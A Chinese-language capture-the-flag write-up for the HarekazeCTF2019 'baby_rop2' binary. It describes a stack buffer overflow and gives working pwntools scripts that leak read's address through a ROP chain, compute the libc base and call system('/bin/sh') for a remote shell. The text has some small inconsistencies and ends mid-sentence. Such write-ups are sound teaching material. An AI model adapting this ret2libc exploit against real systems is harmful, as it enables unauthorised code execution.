题目来源:[HarekazeCTF2019]baby_rop2
拿到题目,运行一下,在检查一下它的架构和保护。
很明显,只有一次输入机会,并且是64位的架构,堆栈不可执行。
接下来,我们放入IDA查看一下源码。
可以看到很明显的栈溢出漏洞,read读入0X100字节大小的数据,但是该缓冲区只有0x28大小。所以可以在这进行栈溢出漏洞的操作。但是给我们的信息就这么多,我们找一下字符串吧
看来是没有/bin/sh 看来是我们自己找方法让他执行bin的调用吧。
接下来进行GDB调试吧。
在执行到read时,我们输入aaaaaaaaa,可以验证IDA里面的溢出字节是否正确,很明显IDA时正确的0x70 - 0x50 的字节,再加上8字节的覆盖到返回地址。
因为这道题,我们首先应该做的是泄露地址,泄露那个地址,我觉得可以是printf或者是read的地址都行,接下来我们就尝试一下吧。
我们在构建ROP链时,应该想我们需要怎样去泄露地址,才能达到我们所希望的程序执行,因为是64位的,我们需要一些 pop|ret 去放我们的参数,printf在执行打印格式化字符串时,有产生一个参数,然后我们还需要一个寄存器,来存放我们got表里所要的真实地址。
所以第一份payload用于泄露地址:
b'a'*28 + p64(pop_rdi) + p64(f_srt) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(prinf_plt) + p64(main_addr)
解释一下,这里P64(0)的意思就是给R15寄存器填充对应的参数,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0。 最后加个main函数,是我们返回到main函数,让程序走一遍,以便我们可以写入接下来的payload去控制程序流。
这下来,我们就去需要这些我们需要用到的值,由于ELF()自带可以寻找got plt symbols 所以这些我们就不用去寻找了。双击IDA,格式化字符串所在的位置,找到了他所对应的地址。
然后再去寻找gadget。
所以我们就找到,我们所用的gadget片段的地址了。
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./babyrop2')
#p = process('./babyrop2')
p = remote('node4.buuoj.cn',26128)
pop_rdi_ret = 0x0400733
pop_rsi_r15 = 0x0400731
f_str = 0x0400770
#read_got = elf.got['read']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']
payload = cyclic(0x28) + p64(pop_rdi_ret) + p64(f_str) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(printf_plt) + p64(main_addr)
p.recvuntil('name?')
p.sendline(payload)
#got_addr = u64(p.recv(6).ljust(8, b'\x00')) 这里不能这样执行,因为会得到前6个字节,而这前6个字节大概率不是我们想要的地址。
printf_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))#7f是地址的开头,因为参数是逆序入栈的。所以要接受到7f之前的前6个
print(hex(printf_addr)) #当我执行这一串时,会报错,不知道为什么,泄露不了printf函数的真实地址。
泄露printf函数无望,那么我们只能去泄露read函数的真实地址了。
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./babyrop2')
#p = process('./babyrop2')
p = remote('node4.buuoj.cn',26868)
pop_rdi_ret = 0x0400733
pop_rsi_r15 = 0x0400731
f_str = 0x0400770
#ret = 0x04004d1
read_got = elf.got['read']
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = elf.symbols['main']
payload = cyclic(0x28) + p64(pop_rdi_ret) + p64(f_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
#p.recvuntil('name?')
p.sendline(payload)
#read_addr = u64(p.recv(6).ljust(8, b'\x00'))
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(read_addr))
得到read的真实地址,接下来,就计算libc的基地址了。
libc = LibcSearcher('read', read_addr)
base = read_addr - libc.dump('read')
sys_addr = base + libc.dump('system')
str_bin_sh = base + libc.dump('str_bin_sh')
#base = read_addr - offect_base
#sys_addr = base + offect_sys
#str_bin_sh = base + offect_str
#p.recvuntil('name?')
payload1 = cyclic(0x28) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(sys_addr)
p.sendline(payload1)
p.interactive()
1-4代码块是使用python的一个库,去计算libc。
5-7则是使用网站libc_searcher,寻偏移计算公式。(但是很不幸,这里面并没有所需的libc
打通了,ls一下;
好像并没有flag,然后`find -name “flag”